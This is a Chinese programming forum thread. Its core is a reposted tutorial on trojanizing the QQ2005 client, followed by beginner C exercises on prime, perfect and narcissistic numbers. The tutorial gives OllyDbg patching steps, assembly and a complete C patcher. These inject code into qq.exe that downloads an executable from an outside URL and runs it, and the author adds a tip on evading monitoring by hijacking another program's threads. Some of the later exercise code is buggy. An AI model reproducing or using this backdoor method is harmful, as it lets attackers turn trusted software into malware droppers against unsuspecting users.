程序员需要掌握的语言技术-个人观点
我认为作为一个程序员需要掌握的技术很多,随着各种技术的发展新的东西不停的在出来,所以学是没有止境的。但是我觉得最重要的几个需要掌握的就是:<br><br>
1、C,这个是根本,目前所有大型系统中最核心的东西都是C实现的。包括windows、UNIX等等。<br>
<br>
2、面对对象的基本思想,这个可以学一下C++和java,其他的都可以触类旁通。<br>
<br>
来自 看雪
把qq2005做成后门之编程实现(原创)<br>1。思路篇<br>
平心而论,我不怎么喜欢那些全是操作的文章,从头到尾都是先这样,再那样。几乎学不到什么东西。<br>
比如讲某个木马,怎么反弹端口,怎么隐蔽,就是不给出思路的。实在不利于我们菜鸟的学习。牢骚几句,<br>
开始正题:<br>
首先,我们来手工把qq2005做成后门(必要的过程),然后在具体分析,思路是怎么横空出世的。<br>
因为编程实现不过是把手工的过程变成了自动的过程而已。这里又面临一个选择,是详细写出用ollydbg修改<br>
qq的详细过程,还是一笔带过呢?考虑到《逆》一文中的这个过程被一笔带过了(肯定带来的不少我等菜鸟的痛苦),<br>
所以我选择详细写出这个过程。这样才算手把手的教,是吧。由于我很讨厌抓图,所以一部分过程我就不抓图了。<br>
<br>
用ollydbg打开qq.exe,这时候程序会停在入口点,F2下个断点,为什么呢?因为要么要修改qq的入口代码。<br>
下断点后,很容易在找到这个位置,按ALT+B,双击断点,又回到入口了吧,是不是很方便。呵呵<br>
拖动CPU窗口的滚动条,到qq.exe的尾部,找到一大片的全是 db 0 的地方,这个可以理解为PE的空隙。<br>
我找到的地址是004D4D90,按着鼠标左键向下拖动,选中的部分是黄色的,按CTRL+E或者右键->二进制-><br>
编辑, 输入要下载的后门的地址:"<a target=_blank href=http://hackor.51.net/mm.exe">http://hackor.51.net/mm.exe"</a>;(不包括引号), 回车,看到一堆不知道是什么的汇编代码吧,没有关系,CTRL+A分析一下,好看多了吧,如图1。同样的方法在004D4DCD(距离004D4D90比较远,是为了留出足够的空间来存放比较长的URL)添加"d:\\ok.exe",如图2。继续添加如下汇编代码(为什么这样添加呢,随后给出):<br>
<br>
004D4DEB 60 pushad<br>
004D4DEC 6A 00 push 0<br>
004D4DEE . 6A 00 push 0<br>
004D4DF0 . 68 CD4D4D00 push QQ.004D4DCD ; ASCII "d:\\ok.exe"<br>
004D4DF5 . 68 904D4D00 push QQ.004D4D90 ; ASCII "<a target=_blank href=http://hackor.51.net/mm.exe">http://hackor.51.net/mm.exe"</a>;<br>
004D4DFA . 6A 00 push 0<br>
004D4DFC . E8 CAEBBC75 call urlmon.URLDownloadToFileA<br>
004D4E01 . 61 popad<br>
004D4E02 . 60 pushad<br>
004D4E03 . 6A 05 push 5 ; /ShowState = SW_SHOW<br>
004D4E05 . 68 CD4D4D00 push QQ.004D4DCD ; |CmdLine = "d:\\ok.exe"<br>
004D4E0A . E8 26AF9777 call kernel32.WinExec ; \WinExec<br>
004D4E0F . 61 popad<br>
004D4E10 . C3 retn<br>
004D4E11 00 db 00<br>
004D4E12 00 db 00<br>
004D4E13 > 60 pushad<br>
004D4E14 . 6A 00 push 0 ; /arg = NULL<br>
004D4E16 . 6A 00 push 0 ; |stksize = 0<br>
004D4E18 . 68 EB4D4D00 push QQ.004D4DEB ; |start = QQ.004D4DEB<br>
004D4E1D . E8 65307377 call MSVCRT._beginthread ; \_beginthread<br>
004D4E22 . 61 popad<br>
<br>
<br>
004D4E23 . 55 push ebp<br>
004D4E24 . 8BEC mov ebp,esp<br>
004D4E26 . 6A FF push -1<br>
004D4E28 .^ E9 30FDF8FF jmp QQ.00464B5D<br>
<br>
按CTRL+A分析一下,看到了什么:<br>
004D4DEB . 60 6A 00 ascii "`j",0<br>
004D4DEB居然变成了这个,呵呵,用ollydbg的小技巧,选中这行,右键->分析->在下一次分析期间,将选择视为命令。呵呵,ok了吧。编辑的时候还会出现其它的不好看的东西,那是ollydbg分析错误导致的,需要手动调整,视为命令,字符等等(具体情形请自行分析)。<br>
现在来回答为什么这样添加的问题:004D4E18处压入的是004D4DEB(也就是URLDownloadToFileA的地址),这样当这个_beginthread启动的时候,会调用URLDownloadToFileA,去下载我们的mm.exe,紧接着执行WinExec函数,这样我们下载的mm.exe就被执行了,最后用retn返回。其中004D4E22到004D4E26是qq的入口代码,为了不影响qq的运行,我们还是要保存地。下面接着修改qq的入口代码,使之跳到004D4E13去执行我们的_beginthread。注意修改前请先保存,右键->复制到可执行文件,选择一个文件名就ok了。<br>
修改后(如图3):<br>
00464B58 Q> $ /E9 B6020700 jmp QQ.004D4E13<br>
00464B5D > |68 18104E00 push QQ.004E1018<br>
修改完成后,右键复制到可执行文件,全部修正。<br>
整个过程要注意堆栈平衡。上面的pushad和popad就是用来保持堆栈平衡的。<br>
<br>
2。具体编程实现:<br>
有了前面的过程,这个就简单了。用什么语言实现都一样,看你的个人爱好了。我用的c语言<br>
我们 的程序就是修改qq,把正常的qq.exe修改成上面这样的。那么要修改那些地方呢?<br>
有2个办法,用ollydbg同时开修改后的qq.exe和修改前的qq.exe,对比发现即可。但是不太方便。<br>
还可以使用Hex Workshop,我用的就是这个,它可以比较2个文件,下载地址:<a target=_blank href=http://www.pediy.com/tools/Editors/Hex%20workshop/Hex%20workshop%204.23.zip>http://www.pediy.com/tools/Editors/Hex%20workshop/Hex%20workshop%204.23.zip</a><br>
安装完成后,打开Hex Workshop,CTRL+K,选择路径,如图4,ok<br>
F6将自动定位到不同之处。<br>
偏移为:<br>
0x64b58<br>
0xD4D90<br>
0xd4dcd<br>
0xd4deb<br>
<br>
我们只需要编程修正以上地方的代码就可以了,还有一个问题是,我怎么知道要修正多少个字节呢?<br>
用Hex Workshop计算一下就知道了啊(2个地址相减就ok了),修正字节数并不要求特别准确。不影响程序的运行就可以了。<br>
整个程序如下(非常简单):<br>//winxp sp1 + qq2005<br>
<br>
#include <stdio.h><br>
#include <stdlib.h><br>
#include <string.h><br>
<br>
int main(int argc, char* argv[])<br>
{<br>FILE *fp;<br>unsigned int i;<br>int entryPoint[] = {233,182,2,7,0}; //入口要修正的字节<br>char *pDownURL = NULL; //指向下载URL的指针<br>char *pPathAndFileName = NULL; //指向文件路径和文件名的指针<br>int backDoor[] = <br>{<br>96,106,0,106,0,104,205,77,77,0,104,144,<br>77,77,0,106,0,232,202,235,188,117,<br>97,96,106,5,104,205,77,77,0,232,38,<br>175,151,119,97,195,0,0,96,106,0,106,<br>0,104,235,77,77,0,232,101,48,115,<br>119,97,85,139,236,106,255,233,48,<br>253,248,255,0<br>};<br>
<br>if(argc != 3)<br>{<br>printf("\n\t\t Make qq to be downloader\n");<br>printf("\n\t\t\t\tngaut All rights reserved.\n\n");<br>printf("Usage: %s <downloadURL> <pathAndFileName> \n", argv);<br>printf("%s and qq.exe should at the same directory\n", argv);<br>printf("The os should be winxp sp1 and The qq version should be 2005\n");<br>printf("pathAndFileName should like:\n\t d:\\\\mm.exe not d:\\mm.exe\n");<br>return 1;<br>}<br><br>pDownURL = argv;<br>pPathAndFileName = argv;<br><br>printf("\n\t\t Make qq to be downloader\n");<br>printf("Cracking......\n");<br><br>// 1. 打开文件qq.exe ,这个是正常的qq.exe<br>if ((fp = fopen("QQ.exe", "r+"))==NULL)<br>{ <br>printf("error!!! Can not open qq.exe!!!\n\n");<br>printf("Press any key to continue\n");<br>getchar();<br>exit(0);<br>}<br><br>//2. set entry point<br>fseek(fp, 0x64b58, SEEK_SET); <br>for (i=0; i<5; i++)<br>{<br>fputc( (char)entryPoint<i>, fp);<br>}<br>
<br><br><br>// 3. set downURL<br>fseek(fp, 0x00D4D90, SEEK_SET);<br><br>for (i=0; i<strlen(pDownURL); i++)<br>{<br>fputc(pDownURL<i>, fp);<br>}<br>fputc(0, fp); //这里写入0,因为必须要以0结尾,下同<br><br><br><br>// 4. set pathAndFileName<br>fseek(fp, 0xd4dcd, SEEK_SET);<br><br>for (i=0; i<strlen(pPathAndFileName); i++)<br>{<br>fputc(pPathAndFileName<i>, fp);<br>}<br>fputc(0, fp);<br><br><br><br><br>// 5. set backDoor code<br>fseek(fp, 0xd4deb, SEEK_SET);<br><br>for (i=0; i<66; i++)<br>{<br>fputc( (char)backDoor<i>, fp);<br>}<br><br><br>fclose(fp);<br><br>printf("\nThanks for using, already cracked!!!\n");<br>printf("\n\t\t\t\tngaut All rights reserved.\n\n");<br><br>return 0;<br>
}<br>
<br>
<br>
上面的i用于控制要写入的字节数,并不需要非常精确,但是不要影响程序的执行。每次写入前<br>
都要用fseek函数移动文件指针到指定位置。用ollydbg看看程序的反汇编代码,你会发现backDoor<br>
就是我们后门关键部分对应的汇编代码,上面的程序有个小技巧,那就是如何得到<br>
entryPoint和backDoor数组的内容。而且可以看到它们都是int,使用时才被转化为char<br>
下面的代码用于得到entryPoint数组和backDoor数组的内容(个人方法很巧妙):<br>
//winxp sp1 + qq2005<br>
<br>
#include <stdio.h><br>
#include <stdlib.h><br>
#include <string.h><br>
<br>
int main(int argc, char* argv[])<br>
{<br>FILE *fp;<br>unsigned int i;<br><br>// 1. 打开文件qq.exe, 注意这个qq是修改过的<br>if ((fp = fopen("QQ.exe", "r+"))==NULL)<br>{ <br>printf("error!!! Can not open qq.exe!!!\n\n");<br>printf("Press any key to continue\n");<br>getchar();<br>exit(0);<br>}<br><br><br>//get entryPoint code<br>fseek(fp, 0x64b58, SEEK_SET);<br>for (i=0; i<5; i++)<br>{<br>printf("%d,", fgetc(fp));<br>}<br>printf("\n\n");<br><br>fseek(fp, 0xd4deb, SEEK_SET);<br><br>for (i=0; i<67; i++)<br>{<br>printf("%d,", fgetc(fp));<br>}<br>printf("\n\n");<br><br>fclose(fp);<br><br>
<br>return 0;<br>
}<br>
运行结果如图5,真漂亮,呵呵。<br>
<br>
编程介绍完了。怎么样,还算简单吧。<br>
最后补充一点,我们创建线程还是逃不过某些软件的监视,那么我们该怎么解决呢。我们自己不创建就行了,<br>
借用别人的啊,比如flashget多线程下载,再说了,现在太多的软件都创建线程,只要不我们的代码挂上别人的线程就可以了,winxp sp2 和 flashget1.65测试成功,未做更多的测试,应该是可以的。我想这个方法可以叫做借尸还魂吧,呵呵,具体修改过程以及对应的代码分析就不写了,手指都麻了,好了,下次见。<br>
<br>
<br>
趁自己还年轻,多写点东西贡献给大家。也算是自己人生一大志愿。总体来说我写的东西都很简单,因为我就是一菜鸟,写不出什么高难度的东西来。 ^_^<br>
re:前辈能不能定期写一些比较有趣的程序啊...
前辈能不能定期写一些比较有趣的程序啊<br><br>
就是那种能在计算机上调试出结果的。<br>
<br>
我每次上机,都调试不出结果<br>
<br>
一问老师,原来作业的程序都是半成品。晕~~~<br>
<br>
能不能让我看看完整的程序是什么样子呢?<br>
<br>
我平时学习经常偷懒,<br>
<br>
所以前辈能不能帮我整理一下思路<br>
<br>
写一个完整的程序,需要那些框架啊<br>
<br>
谢谢前辈~~一定支持你当斑竹
re:我不知道你需要什么样的程序啊,我是做C的...
我不知道你需要什么样的程序啊,我是做C的,写的都是后台!你可以给我一个需要做的东西,如果我有时间可以写一些。<br>你可以就你想了解的问题问一下,我一定帮你解答。如果我不行的话,我也会帮你查资料的!
re:楼主,可否把C里面比较经典的程序但不要太...
楼主,可否把C里面比较经典的程序但不要太难的写几个出来,启发启发我们re:我一时也想不出什么东西了!你们提一下吧!
我一时也想不出什么东西了!你们提一下吧!re:那我就说两个比较有趣的吧,比如,找素数,...
那我就说两个比较有趣的吧,比如,找素数,水仙花数,完数之类的,我还是个处学者,就只有这水平,各位大虾见笑了re:我也挺奇怪的,为什么信息工程大学教计算机...
我也挺奇怪的,为什么信息工程大学教计算机的水平如此烂?<br>就那个教C语言的张教授,也配当教授?
re:查找素数的程序:#include
查找素数的程序:<br>#include <stdio.h><br>
#include <stdlib.h><br>
#include <string.h><br>
<br>
int main()<br>
{<br>
<br>
long i = 0, j = 0, k = 0, x = 0;<br>
long a;<br>
<br>
i = 2;<br>
while(i < 1000)<br>
{<br>
k = 0;<br>
for(j = 1; j < i; j ++)<br>
{<br>
if(i % j == 0)<br>
{<br>
k++;<br>
}<br>
}<br>
if( k == 1)<br>
{<br>
a = i;<br>
x++;<br>
}<br>
i++;<br>
}<br>
<br>
for(i = 0; i < x; i ++)<br>
printf("a[%d]=%d\n", i, a<i>);<br>
<br>
return 0;<br>
}<br>
re:完数其实也差不多:#include...
完数其实也差不多:<br>#include <stdio.h><br>
#include <stdlib.h><br>
#include <string.h><br>
<br>
int main()<br>
{<br>
<br>
long i = 0, j = 0, k = 0, x = 0, y = 0;<br>
long a, b;<br>
<br>
i = 1;<br>
while(i < 1000)<br>
{<br>
k = 0;<br>
x = 0;<br>
for(j = 1; j < i; j ++)<br>
{<br>
if(i % j == 0)<br>
{<br>
a = j;<br>
x++;<br>
}<br>
}<br>
j = 0;<br>
for(k = 0; k < x; k++)<br>
{<br>
j = j + a;<br>
}<br>
if(i == j)<br>
{<br>
b = i;<br>
y++;<br>
}<br>
i++;<br>
}<br>
<br>
for(i = 0; i < y; i ++)<br>
printf("b[%d]=%d\n", i, b<i>);<br>
<br>
return 0;<br>
}<br>
re:水仙数我不知道是什么意思,所以没有办法写...
水仙数我不知道是什么意思,所以没有办法写程序了。re:哦,我知道了,明天给你程序,现在下班了!...
哦,我知道了,明天给你程序,现在下班了!回家给老婆做饭,再见了。<br>美女,原来我错了,对不起!
re:大虾,我是初学者,连门都还没摸到,实在是...
大虾,我是初学者,连门都还没摸到,实在是让大虾见笑了<br>以后还请大虾多多指教,拜谢!
re:我写了程序了找不到水仙花数,好像没有啊!
我写了程序了找不到水仙花数,好像没有啊!re:main(){i...
main()<br><br>
{int i,j,k,n;<br>
<br>
printf("水仙花数是:");<br>
<br>
for(n=100;n<100;n++)<br>
<br>{i=n/100;<br>
<br>j=n/10-i*10;<br>
<br>k=n%10;<br>
<br>
if(n==i*i*i+j*j*j+k*k*k)<br>
<br>printf("%4d",n);}<br>
<br>
printf("\n");}<br>
<br>
<br>
页:
[1]
2